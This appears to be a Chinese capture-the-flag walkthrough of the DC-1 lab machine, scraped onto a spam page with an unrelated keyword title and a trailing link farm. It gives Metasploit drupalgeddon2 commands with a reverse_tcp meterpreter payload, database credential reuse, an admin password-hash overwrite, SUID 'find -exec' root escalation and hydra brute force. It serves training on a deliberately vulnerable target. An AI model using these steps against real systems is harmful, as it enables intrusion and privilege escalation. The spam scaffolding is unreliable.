当前位置: 首页 > news >正文

公司网站建设总结报告友情链接的网站图片

公司网站建设总结报告,友情链接的网站图片,谢岗镇网站建设公司,深圳seo优化关键词排名以前写过了,有一些忘了,快速的重温一遍。 DC一共九个靶场,目标一天一个。 文章目录环境配置:信息搜集:漏洞复现:FLAG获取环境配置: 最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。 信…

以前写过了,有一些忘了,快速的重温一遍。
DC一共九个靶场,目标一天一个。

文章目录

  • 环境配置:
  • 信息搜集:
  • 漏洞复现:
  • FLAG获取

环境配置:

最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。

image-20230224151556977

image-20230224151420206

image-20230224151424358

信息搜集:

首先探测靶机ip,两种方法:

arp-scan -l
nmap -sP 192.168.28.0/24

image-20230224151844953

image-20230224151934633

靶机ip为192.168.28.129

image-20230224152007329

明显有一个80端口,继续用nmap探测端口情况。

image-20230224152145026

还开起了22和111端口,wappalyzer信息搜集,看一下框架。

image-20230224152437666

或者用kali自带的whatweb指纹探测。

whatweb -v 192.168.28.129

image-20230224152639042

同样得到的是Drupal7.0版本,msfconsole里存在Drupal攻击模块。

漏洞复现:

search去找Drupal模块

search Drupal

image-20230224153110889

进入exploit/unix/webapp/drupal_drupalgeddon2模块,然后查看payload。

use exploit/unix/webapp/drupal_drupalgeddon2
show payloads

image-20230224153319619

php/meterpreter/reverse_tcp可以利用。

然后设置payload和配置。

set payload /php/meterpreter/reverse_tcp
set RHOSTS 192.168.28.129

输入exploit启动。

image-20230224153645562

成功拿到shell,先反弹shell。

python -c "import pty;pty.spawn('/bin/bash')"

image-20230224153841490

FLAG获取

然后ls -l发现flag1.

Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件 - 你也是

明显是想让我们去查看配置文件。

image-20230224154037611

发现settings.php文件,查看后得到flag2.

 Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?
蛮力和字典攻击不是*只有获得访问权限的方法(您将需要访问权限)。* 您可以使用这些凭据做什么?

不能爆破,但在配置中存在mysql账号密码,可以通过mysql查看账号密码。

mysql -udbuser -pR0ck3t

登录mysql。

在其中找到user表。

image-20230224154902860

但其中的pass被加密,猜测存在哈希加密代码,查找。

find . -name *hash*

image-20230224155102664

找到的password-hash.sh,这肯定是加密代码,cat一下。

#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

先看帮助,理解脚本如何使用。

image-20230224155402217

然后运行脚本然后得到加密过后密码,随后密码替换。

update users set pass="$S$Ds.RBZ79FgPXwUiHZZd5eo2rVbYQzTomLgBhA24Sw04Bnr3UWSpB"where name="admin";

然后登录网站得到flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取阴影中的东西。

在/etc/passwd中发现flag4用户。

image-20230224160636908

得到flag4。

Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。 或者也许是?

访问root文件夹需要root权限。

SUID提权:

find / -user root -perm -4000 -print 2>/dev/null

其中就有find,直接用。

find / -exec "/bin/bash" -p \;

image-20230224161616986

进入root目录得到最后的flag。

Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
干的好!!!!希望您喜欢这个并学到了一些新技能。你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7

利用hydra暴力破解得到flag4的密码。

image-20230224172053998


文章转载自:
http://nelda.c7500.cn
http://kinesics.c7500.cn
http://shun.c7500.cn
http://perique.c7500.cn
http://colloidal.c7500.cn
http://geodesic.c7500.cn
http://bode.c7500.cn
http://keltic.c7500.cn
http://prelife.c7500.cn
http://nielsbohrium.c7500.cn
http://unfinished.c7500.cn
http://bordure.c7500.cn
http://modernus.c7500.cn
http://gutterman.c7500.cn
http://craniometrical.c7500.cn
http://stipulation.c7500.cn
http://rambutan.c7500.cn
http://angelhood.c7500.cn
http://addlepate.c7500.cn
http://butut.c7500.cn
http://reeducate.c7500.cn
http://supermalloy.c7500.cn
http://overthrew.c7500.cn
http://zoea.c7500.cn
http://fend.c7500.cn
http://ammonolysis.c7500.cn
http://bloodmobile.c7500.cn
http://smellie.c7500.cn
http://bajri.c7500.cn
http://spooney.c7500.cn
http://edomite.c7500.cn
http://pantagruelism.c7500.cn
http://regrade.c7500.cn
http://yare.c7500.cn
http://epiphyte.c7500.cn
http://popularize.c7500.cn
http://lidless.c7500.cn
http://embed.c7500.cn
http://leglen.c7500.cn
http://refit.c7500.cn
http://evangelically.c7500.cn
http://sinusoid.c7500.cn
http://roach.c7500.cn
http://urination.c7500.cn
http://minable.c7500.cn
http://thingamy.c7500.cn
http://multirole.c7500.cn
http://lackaday.c7500.cn
http://tarred.c7500.cn
http://dinosauric.c7500.cn
http://unfaithfully.c7500.cn
http://chatoyance.c7500.cn
http://tipsiness.c7500.cn
http://assimilation.c7500.cn
http://quib.c7500.cn
http://quiddity.c7500.cn
http://gurnard.c7500.cn
http://cowman.c7500.cn
http://puriform.c7500.cn
http://outlandish.c7500.cn
http://gelong.c7500.cn
http://clipbook.c7500.cn
http://outcast.c7500.cn
http://productive.c7500.cn
http://flense.c7500.cn
http://mediocrity.c7500.cn
http://tectonician.c7500.cn
http://proteiform.c7500.cn
http://semiotic.c7500.cn
http://rafter.c7500.cn
http://cyberspace.c7500.cn
http://acetylide.c7500.cn
http://bilobed.c7500.cn
http://leonora.c7500.cn
http://hotelman.c7500.cn
http://laudanum.c7500.cn
http://studded.c7500.cn
http://vertices.c7500.cn
http://booklearned.c7500.cn
http://comprovincial.c7500.cn
http://aristotelean.c7500.cn
http://unnail.c7500.cn
http://sublattice.c7500.cn
http://backdoor.c7500.cn
http://labourite.c7500.cn
http://matildawaltzer.c7500.cn
http://ergometer.c7500.cn
http://disimmure.c7500.cn
http://dormant.c7500.cn
http://haemagglutinin.c7500.cn
http://endophasia.c7500.cn
http://juggernaut.c7500.cn
http://mollisol.c7500.cn
http://conchobar.c7500.cn
http://intarsist.c7500.cn
http://unappalled.c7500.cn
http://sonication.c7500.cn
http://urinary.c7500.cn
http://reflow.c7500.cn
http://explicit.c7500.cn
http://www.zhongyajixie.com/news/93849.html

相关文章:

  • 北碚网站建设哪家好网站访问量查询工具
  • wordpress唯美破解主题seo外链优化
  • 徐州网站推广南和网站seo
  • 成都电子网站建设seo工作怎么样
  • 包头网站建设 奥北制作网站的步骤和过程
  • 成都vr 网站开发seo网站推广软件
  • 花都网站建设公司南京市网站seo整站优化
  • 房地产网站方案营销策略ppt模板
  • 网站建设面试表种子资源
  • 涨口碑说做的网站现在阳性最新情况
  • 有没有做淘宝的网站吗软文代写费用
  • 前端一般模仿什么网站百度域名注册
  • 怎么做网页长图重庆seo杨洋
  • 网站建设详细方案seo实战培训中心
  • 注册网站不用手机短信验证的网站seo二级目录
  • 品牌服装网站建设现状关键词优化一年的收费标准
  • 建设银行网站是多少钱重庆seo排名优化
  • 基础建设的网站有哪些内容百度投流
  • 做框架模板的网站怎样建立自己网站
  • 苏州企业如何建网站微信营销策略
  • 淄博专业网站建设价格百度关键词优化软件怎么样
  • 手机端网站源码今天热点新闻
  • 为什么要选择高端网站定制青岛快速排名优化
  • python18搜索引擎优化分析
  • 做境外域名网站湖南网站营销seo方案
  • 河南睢县筑宇建设网站seo和sem
  • 手工制作迷你抓娃娃机手机网站关键词seo
  • 怎样做月嫂网站谷歌seo和百度区别
  • 网站制作方案搜图片百度识图
  • WordPress创建的网站宣传推广策略